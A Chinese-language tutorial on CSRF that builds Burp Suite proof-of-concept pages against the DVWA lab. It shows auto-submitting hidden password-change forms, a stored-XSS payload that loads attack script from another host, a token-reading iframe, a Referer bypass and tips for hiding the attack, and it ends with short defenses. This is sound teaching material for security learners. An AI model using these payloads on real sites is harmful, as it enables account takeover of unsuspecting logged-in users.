burpsuite csrf攻击_WEB安全之CSRF
大家好,我是阿里斯,一名IT行業小白。今天分享的內容是CSRF相關知識,不求表哥們打賞,只求點點在看,點點轉發。
CSRF漏洞概述
CSRF(Cross-Site Request Forgery),中文名為跨站請求偽造,是一種Web攻擊方式。該漏洞是一種挾持用戶在當前已登錄的Web應用程序上執行非本意操作的攻擊方法。通俗點說就是惡意攻擊者竊取了你在某個網站的身份,以你的名義發送惡意請求。
CSRF漏洞可以做什么呢?
它可以以你的名義發郵件、發消息、轉賬、修改密碼、刪除文章/留言/評論.......
CSRF漏洞原理
產生原因
網站沒有進行嚴格的身份驗證,只驗證了請求來自某個用戶的瀏覽器,卻不能保證這個請求是用戶自愿發出的。
舉例:用戶阿魚使用IE瀏覽器訪問網站A,并在該網站有登錄狀態(未退出登錄),這時阿魚使用IE瀏覽器訪問了網站B,網站B發出一個網站A的密碼修改請求,網站A服務器接收修改密碼請求后,進行身份驗證發現這個請求來源與用戶A的瀏覽器不再檢驗該請求是否由用戶發出,直接進行數據修改操作。
CSRF漏洞利用條件
通過CSRF漏洞原理我們可以得知受害者需要完成兩個動作才可能被攻擊:
1、登錄信任網站A,并生成相關的會話信息
2、在沒有退出網站A的情況下,使用同一個瀏覽器訪問網站B
不經意發生的事:
1、你不能保證你登錄了一個網站后,不再打開另一個頁面訪問其它網站。
2、你不能保證關閉瀏覽器之后,你的本地Cookie立刻過期,你上次的會話已經結束。
3、原理圖中所謂的B網站(惡意服務器),很有可能是一個存在其它漏洞的可信任網站
CSRF之POC制作
現在有各種工具來完成一個POC的制作,但是工具完成的就是死板,任然需要我們去進行修改,以達到訪問即觸發,請求不跳轉的完美POC。接下來我們使用burpsuite來生成一個簡易的POC,然后改造成理想POC。
burpsuite生成CSRF_POC
1、打開你要測試的頁面,開啟瀏覽器代理,burpsuite開啟攔截,這里我們以dvwa來進行測試
將安全等級調為low,然后找到csrf模塊,輸入密碼進行修改,吧修改密碼的請求包攔
2、使用burpsuite生POC,在抓到數據表的頁面右鍵,然后按照圖片的操作執行即可
3、一起來修改代碼
4、測試效果
dvwa這邊處于登錄狀態,然后使用同一瀏覽,訪問剛剛構造的POC
如果你想讓攻擊更加隱蔽,可以弄一個404的代碼或者其它正常的代碼,也可以使用純js構造表單然后加載到一個正常網站的頁面中,這就是攻擊于無形。
CSRF分類及靶機演示(DVWA)
CSRF根據請求分為GET類型和POST類型,最初人們以為只有GET類型CSRF是有危害的,后來發現POST類型的CSRF其實同樣是可以被利用的。
短鏈接
為有效實現GET類型的攻擊,我們需要把get類型的url進行短url生成
http://tool.chinaz.com/tools/dwz.aspx
csrf繞過referer驗證
很多網站會通過驗證referer是否合法來判斷是否是用戶操作,但是他可能只是驗證referer中是否包含該網站的referer。如DVWA的判斷原理是取出請求中的referer值,然后將host的值取出,然后判斷在referer值中有沒有出現host值,如果出現則認為是正常請求,否則就拒絕請求。
繞過思路
將攻擊文件的文件名改為該網站的域名(請求時的host值).......
<html> ?<body> ? ?<form action="http://192.168.1.44/DVWA-master/vulnerabilities/csrf/"> ? ? ?<input type="hidden" name="password_new" value="test" /> ? ? ?<input type="hidden" name="password_conf" value="test" /> ? ? ?<input type="hidden" name="Change" value="Change" /> ? ? ?<input type="submit" value="Submit request" /> ? ?form> ?body>html>xss+csrf組合拳----dvwa版
1、打開DVWA,將Security Level等級改為low,進入csrf模塊,進行密碼修改,這里要使用burpsuite抓包
2、使用burpsuite生成一個csrf的poc
3、copy生成的poc,然后作一個修改(利用iframe控制頁面跳轉,隱藏信息)
<html> ?<body> <iframe name="target" style="display: none;">iframe> ? ?<form action="http://192.168.1.44/DVWA-master/vulnerabilities/csrf/" id="form" target="target"> ? ? ?<input type="hidden" name="password_new" value="123.com" /> ? ? ?<input type="hidden" name="password_conf" value="123.com" /> ? ? ?<input type="hidden" name="Change" value="Change" /> ? ?form> ? ?<script> ? var form = document.getElementById('form'); ? form.submit(); ? ?script> ?body>html>4、進入xss模塊,將payload放入xss模塊即可實現攻擊(使用儲存型xss)
<script src="x" onerror=javascript:window.open("http://192.168.1.7/st_test/csrf/csrf_low.html")>script>另外一種方式
# 文件名 csrf_js_pocjsvar form = document.createElement('form'); ?form.action='http://192.168.1.44/DVWA-master/vulnerabilities/csrf/'; ?form.target='target'; ?var pass1 = document.createElement('input'); ?pass1.name="password_new"; ?pass1.value = '123456'; ?var pass2 = document.createElement('input'); ?pass2.name = 'password_conf'; ?pass2.value = "123456"; ?var change = document.createElement('input'); ?change.name='Change'; ?change.value='Change'; ?form.appendChild(pass1); ?form.appendChild(pass2); ?form.appendChild(change); ?document.body.append(form) ?form.submit();payload
<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js">script>csrf結合xss繞過token防御
token作為身份令牌,如果該值足夠隨機,那么安全系數將是很高的,按照這種邏輯這里不應該存在csrf漏洞,但是如果網站存在XSS漏洞的話,那么這里的token就將形同虛設。我們可以利用xss獲取到token值,然后利用該值發起請求,從而構造相應從csrf攻擊。但是這里存在一個問題,那就是同源策略會限制我們的腳本,這里我們只能打出token,然后再誘惑用戶點擊我們構造的頁面,這樣也會造成危害,但是這里由于token隨機性,可能每次刷新頁面就會失效,所以可利用的概率就比較小了。
<iframe src='../csrf/' onload="alert(frames[0].document.getElementsByName('user_token')[0].value)">CSRF防御
服務器角度:
關鍵操作增加驗證碼
驗證referer
使用足夠隨機的token
用戶角度
養成良好習慣,訪問完一個網站,點擊退出賬戶的好習慣
點贊、關注、轉發、在看
總結
以上是生活随笔為你收集整理的burpsuite csrf攻击_WEB安全之CSRF的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: RunClubSanDisk.exe是什
- 下一篇: 王腾上手小米12S:发热控制比小米12X